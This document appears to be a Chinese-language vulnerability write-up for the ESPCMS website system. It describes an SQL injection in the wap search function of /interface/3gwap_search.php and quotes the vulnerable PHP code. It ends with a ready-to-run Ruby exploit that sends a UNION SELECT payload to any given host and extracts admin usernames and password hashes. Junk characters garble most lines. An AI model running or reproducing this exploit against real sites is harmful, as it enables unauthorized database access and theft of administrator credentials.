0×0 漏洞概述0×1 漏洞细节' W @2 l% `# z& ~4 f- A: e
0×2 PoC
2 L! @; v" W* w. Q: [ T8 N" n9 Q, r( I5 S' C, d+ G, i9 m+ y
) B/ R- G6 u* W' u" E
" Y# V2 p4 g1 E0 E6 I$ z0×0 漏洞概述
1 v( E: k) L( d. t o9 Y2 O5 q
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。, o5 G; [0 ?' Y6 D. W" m. n
其在处理传入的参数时考虑不严谨导致SQL注入发生+ x: A5 ^1 t8 [5 H2 Q
5 m3 P( N" C8 r+ ]% N7 o$ }& I) \8 B
0×1 漏洞细节0 n. } d/ y$ w* l0 v
/ l( o" N( Q/ r9 I7 w' e- T变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
$ S4 B9 f0 K$ X/ c! P! I- Q& }正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。& @; K) @' e3 E# ~" G% A
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。$ j& G. T! o0 Y0 I
2 S( u' }1 m; F8 @在/interface/3gwap_search.php文件的in_result函数中:4 s1 ^1 ~; e) u9 `- w0 M0 i
7 B( _; z; W. b3 q
1 E" G- s0 p# G. _4 u, T
8 @- t" P" X" D9 Y3 U) Z; Q( h7 l6 e function in_result() {# J, ~8 l/ }# ^ f* V2 |0 m
... ... ... ... ... ... ... ... ...
. g# _- b. q0 Q3 V( K' i $urlcode = $_SERVER[ 'QUERY_STRING '];' n( f) t, E s( j$ W: @) P, |4 P
parse_str(html_entity_decode($urlcode), $output);: G6 J: u9 S! H1 [9 {2 l \
; o* B6 b) d, B
... ... ... ... ... ... ... ... ...% k; ?2 M) v, c, g
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
& y% a0 k$ ?) s( C2 k+ P h4 U* ?. p2 M2 S
$db_table = db_prefix . 'model_att';
- q! A) M% Q& J8 ]2 _
3 r# Y; A" V, H6 O5 {2 l' e1 s$ F foreach ($output['attr' ] as $key => $value) {/ Y. S' T$ I' X9 N
if ($value) {
# J& N* b8 Z8 V* L+ [# p& B$ W' l! e; D X, C4 b
$key = addslashes($key);
9 e8 Z! f- H4 \& ^4 u6 ?: q- | $key = $this-> fun->inputcodetrim($key);# a% [! k% ]: c3 L( D& ^/ r0 f/ M
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
& n4 ?* `/ x! Y( j $countnum = $this->db_numrows($db_table, $db_att_where);' d9 I( b0 |9 r1 N7 L5 {- S. c2 q- ?
if ($countnum > 0) {; {3 k- L# ~$ @7 H4 m
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;/ I% ~, h4 U* \
}
& M! ~7 d* c* j7 g2 r }! r: C- Z# e3 c& W% d) D
}: _4 O h6 y7 V0 Z; u' U
}
# o( Y& Y+ Q9 z) F( k' P9 t, u if (!empty ($keyword) && empty($keyname)) { w& f$ K% x5 d- C
$keyname = 'title';6 Q. O5 `7 Q) g0 M: a# {$ g4 n
$db_where.= " AND a.title like '%$keyword%'" ;
, s+ m2 L: G/ K5 ~8 J } elseif (!empty ($keyword) && !empty($keyname)) {
4 X$ J t, X" k6 J $db_where.= " AND $keyname like '% $keyword%'";3 {8 f7 E' R n( v
}
2 I% m M8 l; K5 [8 g4 S $pagemax = 15;
, D% |* d% P' G1 C+ v& u# S1 \% t! A6 X6 r6 _
$pagesylte = 1;
6 Z2 Y( z5 |7 L, P! a2 |( F5 X( ^9 ]8 m+ K: t' [$ n. O
if ($countnum > 0) {; ~6 ^$ ]& q8 l2 g; |1 L
* ? U$ a! K) q( J
$numpage = ceil($countnum / $pagemax);: u. p4 q! g6 M: A5 r. x* _) d
} else {$ [ n+ M }3 G J3 Q9 c' a- A
$numpage = 1;
; a( v$ j2 w# R' [9 O }& M" T, T2 W4 d$ U* B. a, L( }
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 H7 s+ k# U5 ]! X8 U1 c" C
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);% H8 V- G+ h7 t- O
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
5 a# _, c. g) q7 @* k7 X, ? ... ... ... ... ... ... ... ... ...8 v# R2 n8 g9 T9 P3 }
}7 j: I1 I2 ^# J! w$ d! O
! V' x% n2 c# @4 K* W: W* _/ e( L; [& {+ }# W
0×2 PoC1 L ^+ O4 M: r0 D3 O& q
6 Z# i' N7 f4 C- Y! _0 A$ O- |
) l7 m4 j2 w: N7 t1 M
2 K( V& Z2 ^: r( }- i( z, H
require "net/http"
+ H3 W1 J8 F. A# I+ k9 u( B" h' V( u4 R
def request(method, url)
2 R9 ^# ], U; E. p. m: V1 k if method.eql?("get")
/ _) M/ b5 L7 s; X) J uri = URI.parse(url)
: U1 ^% I7 O! s+ o1 ?# {' G% G' X http = Net::HTTP.new(uri.host, uri.port)
% o/ r2 R, w, ^! X, j; H& g response = http.request(Net::HTTP::Get.new(uri.request_uri))
: v, h. S6 ~, A' ]( _, V- Z return response
A) }% Y* L/ o" G+ x8 @8 ` end! v) W2 y0 B- S- J [
end
0 T! U6 g" W2 Q) _( A0 }2 ~) i6 w* q! c6 Y3 i
doc =<<HERE
7 K- t. _ s! z- C" A$ \- {* {-------------------------------------------------------
: v$ d" z" X4 \Espcms Injection Exploit9 p( u+ p4 H5 e/ L) ^0 X
Author:ztz
3 H3 r v) {% `" X0 L( ?" ?& WBlog:http://ztz.fuzzexp.org/! K+ d' A, n+ c5 S9 O$ M! B) d
-------------------------------------------------------
' D' Y0 a# P! P: [0 o1 h/ Q! |2 w3 B- A+ ]- ~8 R) h
HERE& q7 I v, K" w: E# `: M
- x; d/ Z: e! i I3 y. h- f9 ~
usage =<<HERE' o2 l' g( t/ o* B$ n
Usage: ruby #{$0} host port path
) h9 K. H8 j, s" u- zexample: ruby #{$0} www.target.com 80 /
% ~% X; g. Y: N8 `0 A1 bHERE- \% T. g: O" `# O6 H, g
6 M4 u" w$ x" ~8 j
puts doc% R4 h2 x# U5 V4 \, t
if ARGV.length < 3
9 Z" w7 y" ^3 o H1 i5 Q* X w puts usage
# I p! r; P4 N2 Q1 E' h) G/ Yelse
1 j2 K. x X* I& [, e/ ^- C $host = ARGV[0]+ S. n* I* d" X6 h" l) ?2 u V
$port = ARGV[1]5 `9 E) G! {: p5 C+ Y4 i( V& W
$path = ARGV[2]
) s i6 i, F; s) ]9 L. E8 [. b" T5 ^' i
puts "send request..."6 `4 b- J; p |/ [3 O
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
+ y. g' P' P. U. Uattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13" } J8 g: D0 ?9 `# j( R5 q
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
4 e5 A9 p0 x2 F% ~$ ~% B; J& m' h,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"2 t0 D% t2 P+ `6 f! q
response = request("get", url)
5 z; C. d) w' _' k result = response.body.scan(/\w+&\w{32}/)6 g6 n, P0 ^+ u" p/ M
puts result7 y/ h0 e- \2 S( l5 M
end t) n! ?( m; m. d3 p/ U& C! s* k
. m$ @$ f a* I# F6 }% J
|